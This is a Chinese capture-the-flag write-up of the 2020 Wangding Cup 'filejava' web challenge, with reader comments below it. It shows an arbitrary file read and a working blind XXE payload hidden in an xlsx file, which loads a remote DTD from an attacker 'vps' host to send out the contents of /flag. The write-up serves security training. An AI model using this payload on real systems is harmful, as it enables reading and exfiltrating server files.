2020-网鼎杯(青龙组)_Web题目 FileJava Writeup
0x01 Web题目: filejava
考点: 任意文件读取 代码审计 java组件漏洞利用 盲XXE
1.随意上传文件,试了试 jsp. 可以上传,返回下载地址,有filename参数,fuzz一下,发现有任意文件读取
2.试着fuzz读flag,没有结果,读了下web.xml,那就把源码down下来,审计一下
通过一个小工具,把源码down下:
3.看一下代码,发现有这个组件,就搜索了一下:
3.10.1之前存在xxe漏洞,于是我们构造一下excel
文件名是有要求的,按照要求来:
4. 构造一个xml的excel,修改根目录下的xml文件
- 构造方法:
- 新建一个excel文件,改后缀为zip,打开修改,根目录下的xml文件,加入Paylaod,再将后缀改为xlsx上传
dnslog探测一下,有回显:
5. 那思路有了,构造恶意的dtd文件,远程加载,读一下flag:
- 01. 配置好服务器上的dtd文件
<!ENTITY % all "<!ENTITY send SYSTEM 'http://vps:8088/%file;'>">
- 02.修改excel的xml文件,payload如下:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % remote SYSTEM "http://vps:8088/echo.dtd">
%remote;
%all;
]>
<root>&send;</root>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/><Override PartName="/xl/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/xl/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/></Types>
- 03.上传,点击下载,看服务器,已经收到flag
相关链接:
01. 题目复现: https://github.com/CTFTraining/wdb_2020_web_qinglong_filejava
02. Buuoj 在线复现: https://buuoj.cn/challenges
03. 组件漏洞分析: https://xz.aliyun.com/t/6996
04. Java任意文件读取,Down源码小工具: https://github.com/Artemis1029/Java_xmlhack
评论15次
感觉各种ctf都是脑洞大开的干活,实际安全渗透中不太会有这样的场景。
理论上能读到/etc/shadow也能读到/flag,什么导致读不到呢
所以题目给的/flag有什么用呢 非预期吗
他在上传页面有提示,后续才直接读,没写。
所以题目给的/flag有什么用呢 非预期吗
感觉各种ctf都是脑洞大开的干活,实际安全渗透中不太会有这样的场景。
解题步骤很详细,学xi了
理论上能读到/etc/shadow也能读到/flag,什么导致读不到呢
过程记录整理的还是挺清晰的,给楼主赞一个
这个题题目里有提示,直接就能搜出来.......................
老哥你的直接搜出来是啥意思,????疑惑.jpg
提示flag在根目录下,在上传页面的注释里
有看到,那也不能搜到吧,得上一发oob的payload才读出来,好奇除了楼主的解法还有其他姿势?
这个题题目里有提示,直接就能搜出来.......................
老哥你的直接搜出来是啥意思,????疑惑.jpg
提示flag在根目录下,在上传页面的注释里
原来是用xxe,我太菜了
这个上传给我整懵,后面才发现是xxe
strings search
这个题题目里有提示,直接就能搜出来.......................
老哥你的直接搜出来是啥意思,????疑惑.jpg
这个题题目里有提示,直接就能搜出来.......................
啊…不是吧???? 我太菜了????????????
这个题题目里有提示,直接就能搜出来.......................